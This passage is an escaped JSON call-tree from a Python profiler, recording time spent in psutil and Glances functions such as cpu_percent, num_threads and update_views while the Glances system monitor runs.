\"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999994994548615, \"l539\": 0.001999994994548615},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002000,\"attributes\": {\"l404\": 0.001999994994548615},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008280043839477, \"l382\": 0.0020008280043839477},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008280043839477, \"l1127\": 0.0020008280043839477},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008280043839477, \"l1593\": 0.0020008280043839477},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008280043839477, \"l1829\": 0.0020008280043839477},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008280043839477, \"l1593\": 0.0020008280043839477},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.001999007996346336, \"l141\": 0.001999007996346336},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999007996346336, \"l535\": 0.001999007996346336},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002680030302145, \"l680\": 0.0020002680030302145},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002680030302145, \"l1593\": 0.0020002680030302145},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002680030302145, \"l1740\": 0.0020002680030302145},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002680030302145, \"l1593\": 0.0020002680030302145},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002680030302145, \"l382\": 0.0020002680030302145},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002680030302145, \"l1683\": 0.0020002680030302145},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0020002680030302145},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0020002680030302145},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999298001464922, \"l1079\": 0.001999298001464922},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999298001464922, \"l1593\": 0.001999298001464922},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999298001464922, \"l1835\": 0.001999298001464922},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004002353998657782, \"l939\": 0.004002353998657782},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004002353998657782, \"l1593\": 0.004002353998657782},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004002353998657782, \"l2052\": 0.004002353998657782},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004002353998657782, \"l1593\": 0.004002353998657782},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004002353998657782, \"l382\": 0.004002353998657782},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010349981021136, \"l1718\": 0.0020010349981021136},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007779967272654, \"l1064\": 0.0020007779967272654},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002001,\"attributes\": {\"l1682\": 0.0020007779967272654},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002001,\"attributes\": {\"l538\": 0.0020007779967272654},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015289992443286, \"l939\": 0.0020015289992443286},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015289992443286, \"l1593\": 0.0020015289992443286},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015289992443286, \"l2052\": 0.0020015289992443286},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015289992443286, \"l1593\": 0.0020015289992443286},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015289992443286, \"l382\": 0.0020015289992443286},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015289992443286, \"l1718\": 0.0020015289992443286},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020015289992443286},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996324004721828, \"l382\": 0.001996324004721828},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999986998271197, \"l680\": 0.001999986998271197},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999986998271197, \"l1593\": 0.001999986998271197},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999986998271197, \"l1740\": 0.001999986998271197},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999986998271197, \"l1593\": 0.001999986998271197},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999986998271197, \"l382\": 0.001999986998271197},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999986998271197, \"l1689\": 0.001999986998271197},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996650007669814, \"l1116\": 0.0019996650007669814},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004690013593063, \"l680\": 0.0020004690013593063},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004690013593063, \"l1593\": 0.0020004690013593063},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004690013593063, \"l1740\": 0.0020004690013593063},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004690013593063, \"l1593\": 0.0020004690013593063},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004690013593063, \"l382\": 0.0020004690013593063},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004690013593063, \"l1689\": 0.0020004690013593063},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014600013382733, \"l812\": 0.0020014600013382733},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014600013382733, \"l1593\": 0.0020014600013382733},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014600013382733, \"l2268\": 0.0020014600013382733},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000527994823642, \"l1064\": 0.002000527994823642},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002001,\"attributes\": {\"l1682\": 0.002000527994823642},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002001,\"attributes\": {\"l538\": 0.002000527994823642},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001189986942336, \"l680\": 0.0020001189986942336},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001189986942336, \"l1593\": 0.0020001189986942336},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001189986942336, \"l1740\": 0.0020001189986942336},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001189986942336, \"l1593\": 0.0020001189986942336},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001189986942336, \"l382\": 0.0020001189986942336},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001189986942336, \"l1683\": 0.0020001189986942336},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0020001189986942336},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.0020001189986942336},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988960048067383, \"l939\": 0.0019988960048067383},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988960048067383, \"l1593\": 0.0019988960048067383},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988960048067383, \"l2053\": 0.0019988960048067383},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998624997213483, \"l382\": 0.001998624997213483},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998624997213483, \"l1138\": 0.001998624997213483},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998624997213483, \"l1593\": 0.001998624997213483},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998624997213483, \"l1880\": 0.001998624997213483},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999134999408852, \"l639\": 0.007999134999408852},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999134999408852, \"l314\": 0.007999134999408852},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999134999408852, \"l347\": 0.006000241999572609, \"l336\": 0.0019988929998362437},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553999096155, \"l394\": 0.002000553999096155},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553999096155, \"l1593\": 0.002000553999096155},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553999096155, \"l1857\": 0.002000553999096155},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553999096155, \"l1593\": 0.002000553999096155},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553999096155, \"l375\": 0.002000553999096155},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553999096155, \"l1683\": 0.002000553999096155},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002000553999096155},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l718\": 0.002000553999096155},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.002000553999096155},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999991000047885, \"l394\": 0.001999991000047885},\"children\": [{\"identifier\": \"pid\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000471\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999991000047885, \"l474\": 0.001999991000047885},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004001,\"attributes\": {\"cGlancesProcesses\": 0.004000610002549365, \"l689\": 0.004000610002549365},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004001,\"attributes\": {\"l589\": 0.004000610002549365},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004001,\"attributes\": {\"l584\": 0.004000610002549365},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.002000,\"attributes\": {\"cpgids\": 0.002000480002607219, \"l478\": 0.002000480002607219},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000414999201894, \"l155\": 0.002000414999201894},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.002000414999201894, \"l711\": 0.002000414999201894},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002000,\"attributes\": {\"l69\": 0.002000414999201894},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002000,\"attributes\": {\"l34\": 0.002000414999201894},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.008070,\"attributes\": {\"cProgramlistPlugin\": 0.008069987998169381, \"l678\": 0.0059979930010740645, \"l686\": 0.0020719949970953166},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.0059979930010740645, \"l633\": 0.003998023996246047, \"l634\": 0.001999969004828017},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.003998,\"attributes\": {\"cProgramlistPlugin\": 0.003998023996246047, \"l621\": 0.003998023996246047},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.001999969004828017, \"l628\": 0.001999969004828017},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002072,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001933,\"attributes\": {\"cCpuPlugin\": 0.0019333300006110221, \"l1278\": 0.0019333300006110221},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001933,\"attributes\": {\"l1295\": 0.0019333300006110221},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000169\",\"time\": 0.001933,\"attributes\": {\"cCpuPlugin\": 0.0019333300006110221, \"l175\": 0.0019333300006110221},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.001933,\"attributes\": {\"cCpuPlugin\": 0.0019333300006110221, \"l1351\": 0.0019333300006110221},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000184\",\"time\": 0.001933,\"attributes\": {\"cCpuPlugin\": 0.0019333300006110221, \"l225\": 0.0019333300006110221},\"children\": [{\"identifier\": \"cpu_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001930\",\"time\": 0.001933,\"attributes\": {\"l1932\": 0.0019333300006110221},\"children\": [{\"identifier\": 